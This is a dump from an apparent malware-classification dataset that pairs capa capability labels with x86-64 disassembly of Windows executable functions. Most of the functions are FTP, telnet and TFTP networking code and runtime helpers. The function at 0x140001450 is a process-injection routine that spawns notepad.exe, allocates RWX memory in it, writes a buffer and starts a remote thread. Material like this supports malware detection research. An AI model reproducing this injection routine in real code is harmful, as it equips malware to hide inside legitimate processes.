joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400447e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x140085030]
mov rdi, rax
test rax, rax
je 0x14004485d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x140044888
cmp ebx, esi
je 0x140044888
cmp ebx, 0x8000
ja 0x140044888
cmp ebx, esi
jb 0x140044883
mov edx, ebx
mov rcx, rdi
call qword [0x140085030]
mov rdi, rax
test rax, rax
jne 0x140044820
mov rcx, rbp
call qword [fcn.140068b50]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140044868
mov rcx, rdi
jmp 0x140044860

Function at 0x14004ac60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140085080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14004acda
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14002fc10
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14004acff
lea rdx, str.Error_accept__ing_server_connect
call fcn.14002efb0
lea eax, [rbx + 0x1f]
jmp 0x14004ad78
lea rdx, str.Connection_accepted_from_server_n
call fcn.14002f130
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.14003d530
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x14004ad76
mov dl, 1
mov rcx, rsi
call fcn.14001f990
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.14001f990
test ebx, ebx
je 0x14004ad76
mov rcx, rdi
call fcn.14004b290
mov eax, Ordinal_46
jmp 0x14004ad78
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140067820
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14004bd70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x14004bd95
cmp dword [rax + 0x9f8], 0
je 0x14004bdc1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14004bdc1
lea rdx, str.MDTM__s
call fcn.140062dc0
test eax, eax
jne 0x14004bdce
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14004cc00
add rsp, 0x20
pop rbx
ret
Function at 0x14004c580
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x14004c5b8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14004c6d0
cmp byte [rcx + 0xf0e], 0
je 0x14004c5d0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14004d0c0
cmp byte [rcx + 0xf11], 0
je 0x14004c671
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14004c62b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x14004c60e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.140062dc0
test eax, eax
je 0x14004c661
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x14004c651
lea rdx, str.PRET_STOR__s
call fcn.140062dc0
test eax, eax
je 0x14004c661
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.140062dc0
test eax, eax
jne 0x14004c67e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14004d030
add rsp, 0x20
pop rbx
ret

Function at 0x14004c9c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x14004ca0d
cmp qword [rcx + 0xa88], 0
je 0x14004ca0d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.140062dc0
test eax, eax
jne 0x14004ca17
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.14004c580
add rsp, 0x20
pop rbx
ret

Function at 0x14004cba0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14004cbec
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14004cbec
lea rdx, str.SIZE__s
call fcn.140062dc0
test eax, eax
jne 0x14004cbf9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14004c9c0
add rsp, 0x20
pop rbx
ret

Function at 0x14004cc00
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x14004cc58
cmp qword [rcx + 0xa88], 0
je 0x14004cc58
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x14004cc58
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.14004b4a0
jmp fcn.14004cba0
Function at 0x14004cc60
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x14004cc95
lea rdx, str.Couldnt_set_desired_mode
call fcn.14002efb0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14004ccac
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.14002f130
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x14004ccc8
mov rcx, rdi
call fcn.14004cba0
jmp 0x14004cdff
cmp esi, 0x14
jne 0x14004cde1
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x14004cd49
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x14004cd49
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.1400187d0
test eax, eax
jne 0x14004cdff
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14004cd3e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x14004cd49
mov rcx, qword [rsp + 0x50]
call qword [fcn.140068b50]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14004cd6d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400794fb]
test rbp, rbp
mov r9, r8
lea rax, reloc.WLDAP32.dll_Ordinal_32
cmovne r9, rbp
lea rcx, [0x14006f2a8]
cmovne r8, rax
call fcn.14001d860
mov rcx, rbp
mov r14, rax
call qword [fcn.140068b50]
test r14, r14
jne 0x14004cdac
lea ebx, [r14 + 0x1b]
jmp 0x14004ce01
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x140073aa0]
call fcn.140062dc0
mov rcx, r14
mov esi, eax
call qword [fcn.140068b50]
test esi, esi
je 0x14004cdd5
mov ebx, esi
jmp 0x14004ce01
mov dword [rdi + 0xab8], 0x1f
jmp 0x14004ce01
cmp esi, 0x15
jne 0x14004cdec
lea r8d, [rsi - 8]
jmp 0x14004cdf5
cmp esi, 0x16
jne 0x14004ce01
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.14004c6d0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400526f0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x140052814
cmp r8d, 0xff
jne 0x140052751
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14005273b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x75620]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14002f130
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14002f130
cmp r8d, 0xfb
jne 0x140052763
lea r9, str.WILL
jmp 0x1400527a1
cmp r8d, 0xfc
jne 0x140052775
lea r9, str.WONT
jmp 0x1400527a1
cmp r8d, 0xfd
jne 0x140052787
lea r9, [0x140076044]
jmp 0x1400527a1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400527fd
cmp r10d, 0x27
jg 0x1400527d4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x75c40]
test r8, r8
jne 0x1400527e4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14002f130
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400527bb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14002f130
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14002f130
add rsp, 0x38
ret

Function at 0x140052b60
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140052bbf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002efb0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400526f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140052d70
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140052f18
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140052dd5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140052dd5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140052dd5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x140052e0c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140052e62
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140052e62
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140052e62
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140052e62
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140052e62
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140052820
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140052ec4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002efb0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140052bf0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140052f10
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002efb0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140054680
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140085080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140054715
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140054776
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14002efb0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140067820
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140054831
sub ecx, 1
je 0x1400548a4
sub ecx, 1
je 0x1400547e0
cmp ecx, 1
je 0x1400547c3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140073aa0]
call fcn.14002efb0
jmp 0x1400548a4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400543b0
test eax, eax
je 0x1400548a4
jmp 0x14005474a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400548a4
sub rax, rsi
cmp rax, rbp
jae 0x1400548a4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14002f130
jmp 0x1400548a4
cmp r8d, 4
jle 0x1400548a4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400548a4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14002eed0
mov esi, eax
test eax, eax
je 0x140054883
mov edx, 5
mov rcx, rbx
call fcn.140055370
mov eax, esi
jmp 0x14005474a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14003d7a0
mov rcx, r14
call fcn.14003da80
test eax, eax
je 0x140054748
mov edx, 5
mov rcx, rbx
call fcn.140055370
mov eax, Ordinal_46
jmp 0x14005474a
Function at 0x140067640
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140067682
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400676c9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140067722
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400676e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140067763
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14007922a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14007922b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140067730
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x2f0
lea rbp, [rsp + 0x80]
call fcn.1400016b0
lea rdx, [rbp + 0x1f0]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
movq qword [rbp + 0x1e0], xmm0
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:WindowsSystem32_notepad.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
lea rax, [rbp - 0x30]
lea rdx, [0x140004040]
mov ecx, 0x40
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rbp + 0x1e0]
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x260], rax
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x260]
mov rax, qword [rbp + 0x268]
mov qword [rsp + 0x20], 0
mov r9d, 0x200
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x260]
mov rax, qword [rbp + 0x268]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x268]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x2f0
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400018c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400026e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400026e0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001930
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001a60
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000197b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001960
mov rcx, rbx
call fcn.140002380
mov rdi, rax
test rax, rax
je 0x140001a82
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400024c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019fe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a10
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400018c0
nop dword [rax]
xor esi, esi
jmp 0x140001988
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400018c0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400018c0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001ff0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000204c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002043
test rsi, rsi
je 0x140002043
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002028
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400045d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023a0
add rax, 0x28
cmp rax, r9
jne 0x1400023e0
xor eax, eax
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400045d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000241f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002428
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000241f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400045d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
